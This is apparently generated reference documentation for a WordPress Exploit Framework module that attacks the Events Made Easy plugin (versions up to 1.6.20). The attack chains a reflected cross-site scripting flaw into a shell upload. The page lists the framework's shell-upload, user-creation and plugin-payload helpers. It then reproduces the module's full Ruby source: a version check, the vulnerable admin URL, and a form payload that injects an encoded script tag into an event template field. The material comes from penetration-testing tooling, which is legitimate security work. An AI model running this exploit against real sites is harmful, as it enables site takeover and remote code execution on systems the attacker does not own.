Class: Wpxf::Exploit::EventsMadeEasyReflectedXssShellUpload

Inherits:
Module
  • Object
show all
Includes:
WordPress::StagedReflectedXss
Defined in:
lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::StagedReflectedXss

#create_basic_post_script, #initial_req_path, #on_http_request, #run, #url_with_xss

Methods included from WordPress::ReflectedXss

#run

Methods included from WordPress::Xss

#on_http_request, #upload_shell, #wordpress_js_create_user, #xss_ascii_encoded_include_script, #xss_host, #xss_include_script, #xss_path, #xss_shell_success, #xss_url, #xss_url_and_ascii_encoded_include_script

Methods included from WordPress::Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute, #upload_payload_using_plugin_form

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #on_http_request, #start_http_server, #stop_http_server

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #run, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ EventsMadeEasyReflectedXssShellUpload

Returns a new instance of EventsMadeEasyReflectedXssShellUpload.



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# File 'lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb', line 6

def initialize
  super

  update_info(
    name: 'Events MAde Easy <= 1.6.20 Reflected XSS Shell Upload',
    author: [
      'Job Diesveld', # Discovery
      'rastating'     # WPXF module
    ],
    references: [
      ['WPVDB', '8595'],
      ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_events_made_easy_wordpress_plugin.html']
    ],
    date: 'Aug 04 2016'
  )

  register_option(
    IntegerOption.new(
      name: 'event_id',
      desc: 'A valid event ID (can be found in the URL of an event page)',
      required: true
    )
  )
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb', line 31

def check
  check_plugin_version_from_readme('events-made-easy', '1.6.21')
end

#event_id ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb', line 35

def event_id
  normalized_option_value('event_id')
end

#form_fields ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb', line 47

def form_fields
  {
    'event_status' => [1, 2, 5].sample,
    'event_contactperson_id' => -1,
    'event_seats' => 0,
    'price' => 0,
    'currency' => 'EUR',
    'eme_prop_max_allowed' => Utility::Text.rand_numeric(2),
    'eme_prop_min_allowed' => Utility::Text.rand_numeric(1),
    'eme_prop_rsvp_discount' => '',
    'eme_prop_rsvp_discountgroup' => '',
    'rsvp_number_days' => Utility::Text.rand_numeric(1),
    'rsvp_number_hours' => Utility::Text.rand_numeric(1),
    'eme_prop_rsvp_end_target' => 'start',
    'event_name' => Utility::Text.rand_alphanumeric(10),
    'event_slug' => Utility::Text.rand_alphanumeric(10),
    'localised_recurrence_date' => Time.now.strftime('%d/%m/%Y'),
    'recurrence_start_date' => Time.now.strftime('%Y-%m-%d'),
    'localised_recurrence_end_date' => Time.now.strftime('%d/%m/%Y'),
    'recurrence_end_date' => Time.now.strftime('%Y-%m-%d'),
    'recurrence_freq' => ['daily', 'weekly', 'monthly'].sample,
    'recurrence_interval' => '',
    'recurrence_byweekno' => 1,
    'recurrence_byday' => 1,
    'localised_event_start_date' => Time.now.strftime('%d/%m/%Y'),
    'event_start_date' => Time.now.strftime('%Y-%m-%d'),
    'localised_event_end_date' => Time.now.strftime('%d/%m/%Y'),
    'event_end_date' => Time.now.strftime('%Y-%m-%d'),
    'event_start_time' => Time.now.strftime('%I:%M%p'),
    'event_end_time' => Time.now.strftime('%I:%M%p'),
    'eme_prop_event_page_title_format_tpl' => 0,
    'event_page_title_format' => Utility::Text.rand_alphanumeric(10),
    'eme_prop_event_single_event_format_tpl' => 0,
    'event_single_event_format' => "<script>#{xss_ascii_encoded_include_script}<\\/script>",
    'eme_prop_event_contactperson_email_body_tpl' => 0,
    'event_contactperson_email_body' => '',
    'eme_prop_event_registration_recorded_ok_html_tpl' => 0,
    'event_registration_recorded_ok_html' => '',
    'eme_prop_event_respondent_email_body_tpl' => 0,
    'event_respondent_email_body' => '',
    'eme_prop_event_registration_pending_email_body_tpl' => 0,
    'event_registration_pending_email_body' => '',
    'eme_prop_event_registration_updated_email_body_tpl' => 0,
    'event_registration_updated_email_body' => '',
    'eme_prop_event_registration_cancelled_email_body_tpl' => 0,
    'event_registration_cancelled_email_body' => Utility::Text.rand_alphanumeric(10),
    'eme_prop_event_registration_denied_email_body_tpl' => 0,
    'event_registration_denied_email_body' => Utility::Text.rand_alphanumeric(10),
    'eme_prop_event_registration_form_format_tpl' => 0,
    'event_registration_form_format' => '',
    'eme_prop_event_cancel_form_format_tpl' => 0,
    'event_cancel_form_format' => '',
    'location_name' => Utility::Text.rand_alphanumeric(5),
    'location_address' => Utility::Text.rand_alphanumeric(5),
    'location_town' => Utility::Text.rand_alphanumeric(5),
    'location_latitude' => '',
    'location_longitude' => '',
    'content' => Utility::Text.rand_alphanumeric(10),
    'event_image_url' => '',
    'event_image_id' => '',
    'event_url' => '',
    'event_update_button' => ''
  }
end

#initial_script ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb', line 43

def initial_script
  create_basic_post_script(vulnerable_url, form_fields)
end

#vulnerable_url ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/reflected/events_made_easy_reflected_xss_shell_upload.rb', line 39

def vulnerable_url
  normalize_uri(wordpress_url_admin, "admin.php?page=events-manager&eme_admin_action=update_event&event_id=#{event_id}")
end